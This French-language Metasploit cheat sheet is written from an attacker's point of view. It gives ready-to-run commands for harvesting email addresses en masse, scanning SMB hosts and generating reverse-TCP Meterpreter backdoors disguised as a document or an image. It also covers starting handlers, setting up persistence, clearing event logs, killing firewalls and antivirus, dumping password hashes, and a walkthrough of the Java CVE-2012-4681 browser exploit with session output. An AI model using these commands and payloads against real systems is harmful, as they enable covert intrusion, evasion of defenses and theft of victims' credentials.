Metasploit
Collecte de mails en masse
msf >search collector
msf > use gather/search_email_collector msf auxiliary(search_email_collector) > show options
Module options (auxiliary/gather/search_email_collector):
Name Current Setting Required Description ---- --------------- -------- ----------- DOMAIN yes The domain name to locate email addresses for OUTFILE no A filename to store the generated email list SEARCH_BING true yes Enable Bing as a backend search engine SEARCH_GOOGLE true yes Enable Google as a backend search engine SEARCH_YAHOO true yes Enable Yahoo! as a backend search engine
msf auxiliary(search_email_collector) > set DOMAIN gmail.com DOMAIN => gmail.com msf auxiliary(search_email_collector) > set OUTFILE /root/domain.gmail OUTFILE => /root/domain.gmail msf auxiliary(search_email_collector) > set SEARCH_BING false SEARCH_BING => false msf auxiliary(search_email_collector) > set SEARCH_YAHOO false SEARCH_YAHOO => false msf auxiliary(search_email_collector) > run
Scan Samba
msf >use auxiliary/scanner/smb/smb_version msf >set RHOST=192.168.1.1/24 msf >set THREADS 75 msf >run
Autoexecuter l'exploit au boot
msf >run persistence -A -X -p 10000 -r 192.168.56.1
Effacer ces traces
msf > clearev
Malware reverse TCP
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 Desktop > test.jpg
ou
msf >use payload/windows/meterpreter/reverse_tcp msf >set LHOST 192.168.1.1/24 msf >set LPORT 4444 msf >set EXITFUNC process
Générer le malware:
msf >generate -t exe -f /tmp/backdoor.exe
ou
./msfvenom -x /tmp/wordpad.exe -k -p windows/meterpreter/reverse_tcp -f exe LHOST=192.168.120.65 LPORT=8080 > /tmp/Document.doc.exe
-x binaire template -k permet de laisser le template fonctionnel -p le payload a exec -f le format de sortie LHOST LPORT variable
Lancer le handler
msf >exploit -j
ou
#On lance msfconsole msf use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.120.65 msf exploit(handler) > set LPORT 8080 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.120.65:8080 [*] Starting the payload handler... [*] Sending stage (752128 bytes) to 192.168.120.63 [*] Meterpreter session 3 opened (192.168.120.65:8080 -> 192.168.120.63:1475) at Wed Apr 18 10:55:24 +0200 2012
Tips Post-exploitation
Killer le firewall
meterpreter > run getcountermeasure -d
Killer les antivirus
meterpreter > run killav
Bypasser les antivirus
meterpreter > run virusscan_bypass -h
Masquer le payload
meterpreter > migrate $PID (PID du process sous lequel on veut se masquer, généralement svhost. Faire un ps pour les voir avant :))
Prendre une capture d'écran
meterpreter >run screenspy -h
Activer TSE (remote desktop) chez la victime
meterpreter > run getgui -e
Activer telnet sur la victime
meterpreter > gettelnet -h
Vérifier si on est sur une VM
meterpreter > run checkvm
Voler les mots de passes
meterpreter > run hashdump
Exploitation de la faille Java 7 u6 avec Metasploit
Fin Aout un 0day touchant Java a été publié CVE-2012-4681. Dans la foulée un exploit a été publier dans Metasploit. Cette faille permet à une personne malveillante de prendre le contrôle à distance d'une machine.
Nous allons voir comment cet exploit fonctionne et cela servira par la même occasion d'introduction à Metasploit.
Metasploit est un super outil que tout pentesteur se doit de connaître. Il s'agit d'un framework open-source fournissant des outils au développement d'exploits (logiciels permettant d'exploiter une faille de sécurité) et facilitant aussi l'exécution de ce code. Il est disponible sous Linux et Windows à cette adresse: Metasploit
L'attaque en détails
On lance Metasploit:
# msfconsole
On arrive à un prompt, pour rechercher notre exploit:
msf > search jre17
Pour le sélectionner:
msf > use exploit/multi/browser/java_jre17_exec
Afficher les options de l'exploit:
msf > show options
Il faut qu'on choisisse notre payload
msf > exploit(java_jre17_exec) > set payload java/meterpreter/reverse_tcp
Afficher les options du payload:
msf > exploit(java_jre17_exec) > show options
On doit setter l'adresse de notre serveur pirate.
msf > exploit(java_jre17_exec) > set lhost 192.168.1.145
On est déjà prêt, on peut lancer notre exploit, comme quoi c'est tout simple!
msf > exploit(java_jre17_exec) > exploit
On a plus qu'à attendre une connexion sur l'URL http://192.168.1.145:8080/62rkJsBLCzb
Et une session s'ouvre dans notre Metasploit:
Lister les sessions actives avec la commande
msf > sessions -l
Pour se connecter à une session
msf > sessions -i 1
L'attaque sans se prendre la tête
# msfconsole msf > use exploit/multi/browser/java_jre17_exec msf exploit(java_jre17_exec) > set payload java/meterpreter/reverse_tcp msf exploit(java_jre17_exec) > set lhost 192.168.1.145 msf exploit(java_jre17_exec) > exploit --- On attends une connexion --- msf exploit(java_jre17_exec) > sessions -i 1